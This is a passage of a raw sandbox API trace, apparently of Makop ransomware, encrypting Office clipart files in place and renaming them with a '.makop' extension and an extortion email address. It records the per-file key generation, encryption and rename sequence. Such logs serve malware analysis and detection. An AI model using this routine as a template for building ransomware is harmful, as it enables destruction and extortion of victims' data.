SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.509] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9b3a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9b3a, lpOverlapped=0x0) returned 1 [0131.511] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9b40, dwBufLen=0x9b40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9b40) returned 1 [0131.511] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.511] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9b40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9b40, lpOverlapped=0x0) returned 1 [0131.512] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.512] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.512] SetEndOfFile (hFile=0xf0) returned 1 [0131.519] GetProcessHeap () returned 0x48a0000 [0131.519] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.519] GetProcessHeap () returned 0x48a0000 [0131.519] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.519] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.519] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216874.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216874.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.521] CloseHandle (hObject=0xf0) returned 1 [0131.521] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217262.WMF", cAlternateFileName="")) returned 1 [0131.521] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF") returned 63 [0131.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.522] GetProcessHeap () returned 0x48a0000 [0131.522] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.522] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.523] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.523] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0131.527] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.527] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.527] GetProcessHeap () returned 0x48a0000 [0131.527] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.527] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.527] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.527] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.527] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.528] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.528] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.528] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.528] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.528] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.528] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.529] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.529] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1484, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1484, lpOverlapped=0x0) returned 1 [0131.530] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1490, dwBufLen=0x1490 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1490) returned 1 [0131.530] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.530] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1490, lpOverlapped=0x0) returned 1 [0131.531] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.531] SetEndOfFile (hFile=0xf0) returned 1 [0131.538] GetProcessHeap () returned 0x48a0000 [0131.538] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.539] GetProcessHeap () returned 0x48a0000 [0131.539] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.539] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.539] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217262.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217262.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.540] CloseHandle (hObject=0xf0) returned 1 [0131.540] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217302.WMF", cAlternateFileName="")) returned 1 [0131.540] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF") returned 63 [0131.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.541] GetProcessHeap () returned 0x48a0000 [0131.541] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.541] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.541] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.542] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0131.545] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.545] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.545] GetProcessHeap () returned 0x48a0000 [0131.546] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.546] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.546] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.546] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.546] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.546] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.546] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.546] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.547] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.547] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.547] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.547] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.547] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd9a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd9a, lpOverlapped=0x0) returned 1 [0131.547] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xda0, dwBufLen=0xda0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xda0) returned 1 [0131.547] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.547] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xda0, lpOverlapped=0x0) returned 1 [0131.548] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.548] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.548] SetEndOfFile (hFile=0xf0) returned 1 [0131.555] GetProcessHeap () returned 0x48a0000 [0131.555] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.555] GetProcessHeap () returned 0x48a0000 [0131.555] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.555] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.556] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217302.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217302.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.557] CloseHandle (hObject=0xf0) returned 1 [0131.557] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0217872.WMF", cAlternateFileName="")) returned 1 [0131.558] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF") returned 63 [0131.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.558] GetProcessHeap () returned 0x48a0000 [0131.558] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.559] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.559] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.559] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.563] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.563] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.563] GetProcessHeap () returned 0x48a0000 [0131.563] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.563] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.563] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.563] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.564] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.564] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.564] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.564] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.564] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.564] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.565] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.565] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.565] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ca8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ca8, lpOverlapped=0x0) returned 1 [0131.566] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1cb0, dwBufLen=0x1cb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1cb0) returned 1 [0131.566] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.567] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1cb0, lpOverlapped=0x0) returned 1 [0131.567] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.567] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.567] SetEndOfFile (hFile=0xf0) returned 1 [0131.594] GetProcessHeap () returned 0x48a0000 [0131.594] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.594] GetProcessHeap () returned 0x48a0000 [0131.594] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.595] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0217872.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0217872.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.596] CloseHandle (hObject=0xf0) returned 1 [0131.596] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8ad6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0227419.JPG", cAlternateFileName="")) returned 1 [0131.596] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG") returned 63 [0131.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.597] GetProcessHeap () returned 0x48a0000 [0131.597] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.597] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.597] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.597] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0131.602] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.602] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.602] GetProcessHeap () returned 0x48a0000 [0131.602] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.602] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.602] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.602] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.602] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.602] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.603] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.603] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, 